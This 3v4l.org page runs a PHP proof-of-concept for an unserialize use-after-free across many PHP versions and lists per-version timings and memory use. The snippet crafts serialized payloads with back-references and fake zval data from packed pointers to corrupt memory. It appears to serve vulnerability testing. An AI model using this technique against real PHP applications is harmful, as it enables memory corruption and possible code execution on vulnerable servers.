3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'a:2:{i:0;r:2;'; $exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.00918.31
8.3.50.0120.00318.04
8.3.40.0120.00318.92
8.3.30.0070.00718.98
8.3.20.0080.00819.10
8.3.10.0040.00421.76
8.3.00.0060.00320.71
8.2.180.0070.01418.29
8.2.170.0040.01122.96
8.2.160.0140.00019.41
8.2.150.0050.00325.66
8.2.140.0030.00524.66
8.2.130.0040.00422.26
8.2.120.0000.00826.35
8.2.110.0000.00820.94
8.2.100.0110.00019.76
8.2.90.0000.00819.27
8.2.80.0050.00317.97
8.2.70.0030.00617.50
8.2.60.0040.00418.05
8.2.50.0080.00018.10
8.2.40.0020.00522.37
8.2.30.0060.00319.27
8.2.20.0040.00417.63
8.2.10.0040.00418.08
8.2.00.0070.00018.09
8.1.280.0090.00925.92
8.1.270.0040.00423.98
8.1.260.0000.00828.09
8.1.250.0050.00228.09
8.1.240.0000.01022.51
8.1.230.0060.00617.45
8.1.220.0040.00417.78
8.1.210.0030.00518.77
8.1.200.0040.00417.35
8.1.190.0000.00817.23
8.1.180.0030.00518.10
8.1.170.0060.00318.66
8.1.160.0030.00322.07
8.1.150.0040.00418.96
8.1.140.0040.00419.64
8.1.130.0030.00317.78
8.1.120.0070.00017.49
8.1.110.0050.00317.45
8.1.100.0000.00817.50
8.1.90.0050.00217.37
8.1.80.0000.00817.52
8.1.70.0000.00717.47
8.1.60.0040.00417.50
8.1.50.0030.00517.44
8.1.40.0000.00817.60
8.1.30.0040.00417.65
8.1.20.0000.00817.59
8.1.10.0030.00517.59
8.1.00.0080.00017.42
8.0.300.0040.00418.77
8.0.290.0070.00016.75
8.0.280.0020.00518.46
8.0.270.0030.00317.32
8.0.260.0030.00317.19
8.0.250.0000.00817.06
8.0.240.0000.00717.06
8.0.230.0040.00417.06
8.0.220.0070.00017.00
8.0.210.0050.00216.88
8.0.200.0040.00416.97
8.0.190.0070.00017.09
8.0.180.0040.00417.01
8.0.170.0060.00317.08
8.0.160.0030.00316.87
8.0.150.0000.00716.91
8.0.140.0000.00816.93
8.0.130.0030.00313.38
8.0.120.0080.00016.99
8.0.110.0000.00716.86
8.0.100.0080.00016.86
8.0.90.0000.00716.87
8.0.80.0090.00617.00
8.0.70.0000.00716.79
8.0.60.0050.00316.77
8.0.50.0000.00716.83
8.0.30.0130.00717.26
8.0.20.0130.00917.40
8.0.10.0000.00717.21
8.0.00.0060.01216.73
7.4.330.0000.00515.08
7.4.320.0040.00416.62
7.4.300.0030.00316.62
7.4.290.0050.00316.63
7.4.280.0080.00016.63
7.4.270.0100.00016.63
7.4.260.0040.00716.50
7.4.250.0000.00816.58
7.4.240.0040.00416.50
7.4.230.0000.00716.53
7.4.220.0120.00616.61
7.4.210.0110.01016.48
7.4.200.0040.00416.43
7.4.160.0120.00316.63
7.4.150.0140.00417.40
7.4.140.0150.00317.86
7.4.130.0070.01416.56
7.4.120.0110.01016.73
7.4.110.0070.01116.46
7.4.100.0140.00416.45
7.4.90.0040.01316.26
7.4.80.0030.01319.39
7.4.70.0080.00816.48
7.4.60.0120.00916.69
7.4.50.0040.01116.48
7.4.40.0060.01316.62
7.4.30.0150.00616.66
7.4.00.0060.00815.02
7.3.330.0000.00513.39
7.3.320.0000.00513.48
7.3.310.0000.00716.49
7.3.300.0060.00016.39
7.3.290.0090.00616.50
7.3.280.0070.01316.45
7.3.270.0130.00717.40
7.3.260.0060.01416.52
7.3.250.0110.00916.38
7.3.240.0130.01116.57
7.3.230.0100.00716.46
7.3.210.0110.01116.44
7.3.200.0070.01416.44
7.3.190.0070.01016.68
7.3.180.0090.01316.53
7.3.170.0080.01116.53
7.3.160.0070.01616.49
7.3.120.0100.00714.69
7.3.110.0070.01014.82
7.3.100.0000.01514.76
7.3.90.0110.00315.04
7.3.80.0030.00614.96
7.3.70.0070.01014.82
7.3.60.0120.00314.75
7.3.50.0000.01215.04
7.3.40.0070.00314.89
7.3.30.0030.01314.91
7.3.20.0060.01016.85
7.3.10.0030.01016.74
7.3.00.0050.00916.75
7.2.330.0140.00416.50
7.2.320.0030.01516.75
7.2.310.0140.00416.78
7.2.300.0090.01416.72
7.2.290.0100.00616.80
7.2.240.0000.01315.00
7.2.230.0040.01115.23
7.2.220.0030.00915.33
7.2.210.0090.00614.93
7.2.200.0040.01114.83
7.2.190.0060.00914.98
7.2.180.0060.00914.98
7.2.170.0130.00315.21
7.2.160.0100.00714.81
7.2.150.0110.00416.54
7.2.140.0060.01316.92
7.2.130.0060.01016.95
7.2.120.0060.00816.80
7.2.110.0060.00816.95
7.2.100.0060.00416.91
7.2.90.0060.00716.97
7.2.80.0060.00916.84
7.2.70.0070.00516.99
7.2.60.0060.00516.94
7.2.50.0080.00616.86
7.2.40.0060.00617.01
7.2.30.0040.01016.95
7.2.20.0080.00716.97
7.2.10.0050.00816.96
7.2.00.0070.00617.58
7.1.330.0080.00615.64
7.1.320.0000.01315.66
7.1.310.0090.00615.76
7.1.300.0070.00715.89
7.1.290.0070.00715.61
7.1.280.0100.00315.78
7.1.270.0070.01015.78
7.1.260.0060.00315.88
7.1.250.0030.00815.83
7.1.240.0090.00615.96
7.1.230.0030.01315.94
7.1.220.0060.00315.69
7.1.210.0100.00315.66
7.1.200.0070.00415.80
7.1.190.0140.00015.90
7.1.180.0100.00715.78
7.1.170.0000.00815.70
7.1.160.0070.00715.84
7.1.150.0060.00915.94
7.1.140.0000.01215.79
7.1.130.0070.00315.98
7.1.120.0060.00615.92
7.1.110.0040.01115.61
7.1.100.0060.00816.99
7.1.90.0070.00715.66
7.1.80.0000.01515.60
7.1.70.0060.00816.52
7.1.60.0050.00717.72
7.1.50.0020.01316.41
7.1.40.0060.00615.96
7.1.30.0030.00715.78
7.1.20.0000.01215.95
7.1.10.0090.00615.82
7.1.00.0030.04218.99
7.0.330.0030.00715.38
7.0.320.0100.00315.49
7.0.310.0030.00915.52
7.0.300.0030.01015.59
7.0.290.0080.00315.34
7.0.280.0030.00915.34
7.0.270.0060.01015.56
7.0.260.0040.00415.28
7.0.250.0120.00615.47
7.0.240.0050.01015.50
7.0.230.0040.00815.47
7.0.220.0000.01415.52
7.0.210.0060.00315.33
7.0.200.0130.00415.23
7.0.190.0080.00615.43
7.0.180.0070.00315.37
7.0.170.0030.01315.57
7.0.160.0100.00315.18
7.0.150.0050.00515.57
7.0.140.0000.01415.28
7.0.130.0070.00315.53
7.0.120.0040.01115.29
7.0.110.0030.01015.38
7.0.100.0090.00415.45
7.0.90.0420.03717.73
7.0.80.0520.03017.68
7.0.70.0130.03117.76
7.0.60.0100.03117.83
7.0.50.0150.02818.06
7.0.40.0170.03516.92
7.0.30.0070.03416.94
7.0.20.0120.03316.90
7.0.10.0080.03716.79
7.0.00.0080.03517.00
5.6.380.0060.00914.49
5.6.370.0040.00914.33
5.6.360.0040.00814.47
5.6.350.0090.00314.39
5.6.340.0110.00514.18
5.6.330.0080.00814.64
5.6.320.0110.00814.63
5.6.310.0070.00714.04
5.6.300.0000.00914.53
5.6.290.0070.00714.71
5.6.280.0060.00614.55
5.6.270.0060.00914.30
5.6.260.0130.00014.33
5.6.250.0070.00714.53
5.6.240.0110.03117.58
5.6.230.0120.03017.54
5.6.220.0030.03717.58
5.6.210.0100.02917.69
5.6.200.0030.03717.87
5.6.190.0050.03717.80
5.6.180.0100.03117.77
5.6.170.0070.03317.71
5.6.160.0100.03517.84
5.6.150.0100.02917.93
5.6.140.0050.03517.77
5.6.130.0070.03217.81
5.6.120.0030.03817.86
5.6.110.0030.03817.94
5.6.100.0060.03617.73
5.6.90.0130.03517.69
5.6.80.0160.02617.45
5.6.70.0100.03017.38
5.6.60.0060.03617.37
5.6.50.0110.03317.47
5.6.40.0070.03517.36
5.6.30.0070.03417.39
5.6.20.0090.03317.35
5.6.10.0070.03317.58
5.6.00.0070.03317.35

preferences:
77.41 ms | 401 KiB | 5 Q